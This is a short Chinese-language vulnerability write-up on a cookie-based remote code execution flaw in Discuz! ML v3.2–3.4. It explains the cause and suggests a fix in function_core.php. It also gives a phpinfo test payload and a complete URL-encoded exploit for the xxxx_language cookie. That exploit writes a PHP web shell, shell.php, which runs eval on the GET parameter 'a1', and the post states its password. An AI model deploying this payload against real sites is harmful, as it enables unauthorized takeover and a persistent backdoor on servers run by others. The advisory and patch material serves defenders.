Discuz Ml v3.x 前台Getshell

此文为回忆篇

受影响的版本:

Discuz! ML v.3.4

Discuz! ML v.3.3

Discuz! ML v.3.2

01:

2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。

本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的

cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行

02:

phpinfo 验证:

xxxx_language='.phpinfo().';

Exp:

修改Cookie中的xxxx_language字段为以下内容即可

%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27

访问网站首页则会在根目录下生成木马文件,shell.php 密码为a1

url解码结果:

'.+file_put_contents('shell.php',urldecode('%3c%3fphp+%20eval(%24_%47%45%54%5b%22a1%22%5d)%3b%3f%3e')).'

修复建议:

建议修改source/function/function_core.php 644行为

/*vot*/ $cachefile ='./data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/','_', $file).'.tpl.php';